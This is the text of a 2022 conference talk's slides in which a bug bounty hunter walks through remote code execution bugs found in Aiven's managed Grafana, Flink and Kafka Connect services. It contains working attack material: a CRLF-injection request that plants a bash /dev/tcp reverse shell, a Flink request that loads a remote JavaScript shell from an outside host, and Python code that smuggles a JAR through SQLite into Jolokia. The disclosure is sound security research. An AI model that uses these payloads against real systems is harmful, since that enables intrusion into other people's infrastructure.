theme: ./theme colorSchema: light title: Hacking Aiven managed services for fun and profit
Hacking Aiven managed services for fun and profit
Jari Jääskelä, November 3. 2022, Helsec
layout: image-x image: 'img/stats.png' imageOrder: 2
# whoami
- Bug Bounties since 2020
- "Full-time" for awhile at the start of 2022
layout: intro
Overview
- About Bug Bounties
- Aiven Bug Bounty program
- My approach for huntings bugs through few examples
What are Bug Bounties?
- Hackers rewarded for discovering security issues
- Reward based on impact
What is Aiven?
- Managed service provider for Grafana, MySQL, PostgreSQL, etc ...
- Managed services hosted in Google Cloud, AWS, DigitalOcean, ... (customer can configure)
- Infrastructure exists under Aiven's cloud account
- Customer does not have code execution access on managed services
Aiven Bug Bounty program
Aiven Bug Bounty program
Grafana RCE (1)
- How the web backend updates the Grafana configuration?
Grafana RCE (2)
- Let's look at the Grafana documentation
Grafana RCE (3)
- Supports configuration via grafana.ini file:
app_mode = production
instance_name = ${HOSTNAME}
force_migration = false
[paths]
data = data
temp_data_lifetime = 24h
logs = data/log
plugins = data/plugins
provisioning = conf/provisioning
[server]
# Protocol (http, https, h2, socket)
protocol = http
Grafana RCE (3)
- Likely Aiven creates grafana.ini dynamically from user input
Grafana RCE (4)
- Q1: Can we edit unsupported configuration options by injecting newline characters?
- Q2: How this could be escalated to Remote Command Execution (RCE)?
Grafana RCE (5) - Q1
- Testing for CRLF injection (\r\n) AKA newline injection
- Searched Aiven Github repositories in case something interesting was there
- Found Service Configuration API input validation schema in Github ^1
Grafana RCE (6) - Q1
Example input validation entry:
"recovery_basebackup_name": {
"example": "backup-20191112t091354293891z",
"maxLength": 128,
"pattern": "^[a-zA-Z0-9-_:.]+$",
"title": "Name of the basebackup to restore in forked service",
"type": "string"
}
- Regex pattern validation
$at the end == matches the end of the line == input cannot contain new line
Grafana RCE (7) - Q1
SMTP server parameters missing regex validation. CRLF injection possible!!!
"smtp_server": {
"additionalproperties": false,
"properties": {
"from_name": {
"maxLength": 128,
"type": [
"string"
]
},
"host": {
"maxLength": 255,
"type": "string"
},
"password": {
"maxLength": 255,
"type": [
"string"
]
}
}
}
Grafana RCE (x)
- Q1: Can we edit unsupported configuration options by injecting newline characters? ✅
- Q2: How this could be escalated to Remote Command Execution (RCE)?
Grafana RCE (7) - Q2
Grafana RCE (8) - Q2
Grafana RCE (x)
Grafana RCE (x)
- Verified that it works on local Grafana instance
- How to establish reverse shell:
[plugin.grafana-image-renderer]
rendering_args=--renderer-cmd-prefix=bash -c bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1
Grafana RCE (9)
- For some reason, could not pass white spaces, had to encode spaces using "$IFS"
- IFS env variable - Internal Field Seperator - can be used as space substitute
[plugin.grafana-image-renderer]
rendering_args=--renderer-cmd-prefix=bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1
Grafana RCE (9)
PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Authorization: aivenv1 AIVEN_TOKEN_HERE
Content-Type: application/json
{
"user_config": {
"smtp_server": {
"host": "example.org",
"port": 1,
"from_address": "[email protected]",
"password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c
bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
}
}
}
- After config update, trigger rendering by browsing to https://GRAFANA_INSTANCE_NAME.aivencloud.com/render/x
Grafana RCE (10)
Apache Flink RCE
- Flink processes data from database, kafka or some other data source
- User can submit jobs that process data - these are java applications (JAR files) that contain user code
- Flink has Web UI and REST API
Apache Flink RCE
- Aiven Flink Service does not allow running custom jobs
- Only SQL queries
- Web UI and REST API are accessible
Apache Flink RCE
- Aiven blocked access to some REST API endpoints via reverse proxy rules (like uploading JAR files)
- However, all GET operations were still allowed
Apache Flink RCE (2)
Apache Flink Rest API documentation:
- Can specify java class name and class arguments !?! 🤔
Apache Flink RCE
- Reviewed Flink source code to confirm how it works
- Found that calls
main(String[])method of the entry-class with the programArg values:
private static void callMainMethod(Class<?> entryClass, String[] args) throws ProgramInvocationException {
Method mainMethod;
if (!Modifier.isPublic(entryClass.getModifiers())) {
throw new ProgramInvocationException(
"The class " + entryClass.getName() + " must be public.");
}
try {
mainMethod = entryClass.getMethod("main", String[].class);
} catch (NoSuchMethodException e) {
throw new ProgramInvocationException(
"The class " + entryClass.getName() + " has no main(String[]) method.");
} catch (Throwable t) {
// [...]
}
}
Apache Flink RCE
- How this can be used to execute arbitrary code on the Flink server?
- Searching Java JDK for "main(String[]":
- Found com.sun.tools.script.shell tool - same as the jrunscript command line tool
Apache Flink RCE
Apache Flink RCE
- jrunscript uses Nashorn JavaScript engine
- To make delivering reverse shell payload easier, why not load it from remote JavaScript file?
Apache Flink RCE
- shell.js: ^1
var host = "https://evil.example.org";
var port = 8888;
var cmd = "/bin/bash";
var p = new java.lang.ProcessBuilder(cmd, "-i").redirectErrorStream(true) // [...]
GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan
?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")
¶llelism=1 HTTP/1.1
Host: ████
Authorization: Basic █████
Apache Flink RCE
Kafka Connect RCE
- Tool for streaming data between Kafka and other data systems
- Streaming implemented using connectors
- Supports 3rd party connectors
- Connectors configurable via REST API
- Sink Connector = sends data from Kafka to the sink data system
- Source Connector = retrieves data from the source data system to Kafka
Kafka Connect RCE
- Aiven supports interesting connectors, such as ^1:
| Connector | |
|---|---|
| JDBC Sink Connector | Connect to database using JDBC driver |
| HTTP Sink | Send data using HTTP request |
Kafka Connect RCE
- Found out that Jolokia is listening on localhost via logs
- Jolokia is a HTTP bridge to JMX (Java Management Extension)
Kafka Connect RCE
- HTTP sink connector does not check if destination is localhost -> can send HTTP POST requests to Jolokia
- Can we use Jolokia to gain RCE?
Kafka Connect RCE
- Jolokia exposes the following command:
"jvmtiAgentLoad": {
"args": [{
"name": "arguments",
"type": "[Ljava.lang.String;",
"desc": "Array of Diagnostic Commands Arguments and Options"
}],
"ret": "java.lang.String",
"desc": "Load JVMTI native agent."
}
- Can use this to load JAR files from the disk
Kafka Connect RCE
- How can we upload JAR file to the server?
Kafka Connect RCE - What is a JAR file
- ZIP file that contains the compiled java application code
- JAR parsers, like ZIP parsers do not care if the JAR is inside another file format (just looks for file header signature: PK...)
- Can embed JAR files inside another file format
Kafka Connect RCE - SQLite JDBC Driver
- Bundled with Aiven JDBC sink connector
- SQLite database files are stored locally, can specify database filepath via connection url
Connection URL:
jdbc:sqlite:/tmp/test.db
Kafka Connect RCE
- Use JDBC sink connector and the SQLite JDBC driver to create db file
- Create database table for the JAR and insert the JAR contents
- Load the file as JAR using Jolokia jvmtiAgentLoad command
Kafka Connect RCE - JDBC SQLite config
connector_url = f"{kafka_connect_api_baseurl}/connectors/{connector_name}"
payload = json.dumps({
"connector.class": "io.aiven.connect.jdbc.JdbcSinkConnector",
"connection.url": f"jdbc:sqlite:/tmp/test.db",
"name":connector_name,
"topics": topic_name,
"key.converter": "org.apache.kafka.connect.storage.StringConverter",
"value.converter": "org.apache.kafka.connect.json.JsonConverter",
"value.converter.schemas.enable": "true",
"auto.create": "true" # Create tables automatically
})
headers = {
'Content-Type': 'application/json'
}
requests.request("PUT", f"{connector_url}/config", headers=headers, data=payload, auth=(kafka_user, kafka_password))
Kafka Connect RCE - JDBC SQLite Kafka topic message
producer.send(topic_name, json.dumps(
{
"schema": {
"type": "struct",
"fields": [{
"field": "payload",
"type": "bytes",
"optional": False
}]
},
"payload": {
# JsonConverter uses com.fasterxml.jackson, which supports binary values as base64 encoded string
"payload": base64.b64encode(jar_contents).decode('utf-8')
}
}
).encode('utf-8'))
Kafka Connect RCE
Kafka Connect RCE
That's it
- Any questions?